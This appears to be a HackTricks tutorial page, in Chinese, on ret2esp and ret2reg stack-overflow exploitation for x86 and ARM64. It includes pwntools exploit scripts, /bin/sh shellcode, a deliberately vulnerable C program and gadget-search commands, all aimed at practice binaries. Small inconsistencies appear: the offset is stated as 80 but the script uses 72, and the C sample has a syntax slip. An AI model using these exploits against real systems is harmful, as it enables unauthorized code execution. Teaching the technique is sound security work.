Ret2esp / Ret2reg

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

Ret2esp

因为 ESP(栈指针)始终指向栈的顶部,该技术涉及用 jmp espcall esp 指令的地址替换 EIP(指令指针)。通过这样做,shellcode 被放置在被覆盖的 EIP 之后。当 ret 指令执行时,ESP 指向下一个地址,正好是存储 shellcode 的地方。

如果 地址空间布局随机化(ASLR) 在 Windows 或 Linux 中未启用,可以使用在共享库中找到的 jmp espcall esp 指令。然而,当 ASLR 激活时,可能需要在易受攻击的程序内部查找这些指令(并且可能需要击败 PIE)。

此外,能够将 shellcode 放置在 EIP 损坏之后,而不是在栈的中间,确保在函数操作期间执行的任何 pushpop 指令不会干扰 shellcode。如果 shellcode 被放置在函数栈的中间,可能会发生这种干扰。

缺乏空间

如果在覆盖 RIP 后缺乏写入空间(可能只有几个字节),可以写一个初始的 jmp shellcode,如:

armasm
sub rsp, 0x30
jmp rsp

在栈的早期写入 shellcode。

示例

您可以在 https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp 中找到此技术的示例,最终利用如下:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

您可以在 https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html 中看到此技术的另一个示例。这里有一个没有启用 NX 的缓冲区溢出,使用了一个 gadget 来 减少 $esp 的地址,然后使用 jmp esp; 跳转到 shellcode:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

类似地,如果我们知道一个函数返回存储 shellcode 的地址,我们可以利用 call eaxjmp eax 指令(称为 ret2eax 技术),提供另一种执行我们的 shellcode 的方法。就像 eax 一样,任何其他寄存器 中包含有趣地址的寄存器都可以使用 (ret2reg)。

示例

您可以在这里找到一些示例:

ARM64

Ret2sp

在 ARM64 中,没有 指令允许 跳转到 SP 寄存器。可能找到一个 将 sp 移动到一个寄存器然后跳转到该寄存器 的 gadget,但在我的 kali 的 libc 中我找不到这样的 gadget:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

我发现的唯一方法是更改在跳转到 sp 之前复制的寄存器的值(这样它就变得无用):

Ret2reg

如果一个寄存器有一个有趣的地址,可以通过找到合适的指令跳转到它。你可以使用类似于:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

在ARM64中,x0 存储函数的返回值,因此 x0 可能存储一个由用户控制的缓冲区的地址,该缓冲区包含要执行的 shellcode。

示例代码:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

检查函数的反汇编,可以看到缓冲区的地址(易受bof攻击且由用户控制)在从缓冲区溢出返回之前存储在x0

在**do_stuff函数中也可以找到br x0**这个小工具:

我们将使用这个小工具跳转到它,因为二进制文件是在没有PIE的情况下编译的。使用模式可以看到缓冲区溢出的偏移量是80,所以利用将是:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

如果使用的是类似 read 的函数,而不是 fgets,那么只需 覆盖返回地址的最后两个字节 就可以绕过 PIE,返回到 br x0; 指令,而无需知道完整地址。
使用 fgets 不行,因为它 在末尾添加了一个空字节 (0x00)

Protections

  • NX: 如果栈不可执行,这将无济于事,因为我们需要将 shellcode 放在栈中并跳转执行。
  • ASLR & PIE: 这些可能会使找到跳转到 esp 或其他寄存器的指令变得更加困难。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks